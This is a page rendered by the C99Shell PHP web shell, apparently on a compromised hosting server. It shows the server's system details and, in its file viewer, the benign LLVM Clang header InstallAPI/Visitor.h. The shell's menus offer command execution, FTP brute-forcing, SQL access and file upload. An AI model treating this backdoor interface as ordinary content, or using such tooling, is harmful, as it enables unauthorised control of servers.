!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/include/clang/InstallAPI/   drwxr-xr-x
Free 6182.18 GB of 6263.38 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Visitor.h (3.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
//===- InstallAPI/Visitor.h -----------------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
///
/// ASTVisitor Interface for InstallAPI frontend operations.
///
//===----------------------------------------------------------------------===//

#ifndef LLVM_CLANG_INSTALLAPI_VISITOR_H
#define LLVM_CLANG_INSTALLAPI_VISITOR_H

#include "clang/AST/Mangle.h"
#include "clang/AST/RecursiveASTVisitor.h"
#include "clang/Basic/TargetInfo.h"
#include "clang/Frontend/FrontendActions.h"
#include "clang/InstallAPI/Context.h"
#include "llvm/ADT/Twine.h"

namespace clang {
struct AvailabilityInfo;
namespace installapi {

/// ASTVisitor for collecting declarations that represent global symbols.
class InstallAPIVisitor final : public ASTConsumer,
                                public RecursiveASTVisitor<InstallAPIVisitor> {
public:
  InstallAPIVisitor(ASTContext &ASTCtx, InstallAPIContext &Ctx,
                    SourceManager &SrcMgr, Preprocessor &PP)
      : Ctx(Ctx), SrcMgr(SrcMgr), PP(PP),
        MC(ItaniumMangleContext::create(ASTCtx, ASTCtx.getDiagnostics())),
        Layout(ASTCtx.getTargetInfo().getDataLayoutString()) {}
  void HandleTranslationUnit(ASTContext &ASTCtx) override;
  bool shouldVisitTemplateInstantiations() const { return true; }

  /// Collect global variables.
  bool VisitVarDecl(const VarDecl *D);

  /// Collect global functions.
  bool VisitFunctionDecl(const FunctionDecl *D);

  /// Collect Objective-C Interface declarations.
  /// Every Objective-C class has an interface declaration that lists all the
  /// ivars, properties, and methods of the class.
  bool VisitObjCInterfaceDecl(const ObjCInterfaceDecl *D);

  /// Collect Objective-C Category/Extension declarations.
  ///
  /// The class that is being extended might come from a different library and
  /// is therefore itself not collected.
  bool VisitObjCCategoryDecl(const ObjCCategoryDecl *D);

  /// Collect global c++ declarations.
  bool VisitCXXRecordDecl(const CXXRecordDecl *D);

private:
  std::string getMangledName(const NamedDecl *D) const;
  std::string getBackendMangledName(llvm::Twine Name) const;
  std::string getMangledCXXVTableName(const CXXRecordDecl *D) const;
  std::string getMangledCXXThunk(const GlobalDecl &D, const ThunkInfo &Thunk,
                                 bool ElideOverrideInfo) const;
  std::string getMangledCXXRTTI(const CXXRecordDecl *D) const;
  std::string getMangledCXXRTTIName(const CXXRecordDecl *D) const;
  std::string getMangledCtorDtor(const CXXMethodDecl *D, int Type) const;

  std::optional<HeaderType> getAccessForDecl(const NamedDecl *D) const;
  void recordObjCInstanceVariables(
      const ASTContext &ASTCtx, llvm::MachO::ObjCContainerRecord *Record,
      StringRef SuperClass,
      const llvm::iterator_range<
          DeclContext::specific_decl_iterator<ObjCIvarDecl>>
          Ivars);
  void emitVTableSymbols(const CXXRecordDecl *D, const AvailabilityInfo &Avail,
                         const HeaderType Access, bool EmittedVTable = false);

  InstallAPIContext &Ctx;
  SourceManager &SrcMgr;
  Preprocessor &PP;
  std::unique_ptr<clang::ItaniumMangleContext> MC;
  StringRef Layout;
};

} // namespace installapi
} // namespace clang

#endif // LLVM_CLANG_INSTALLAPI_VISITOR_H

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0254 ]--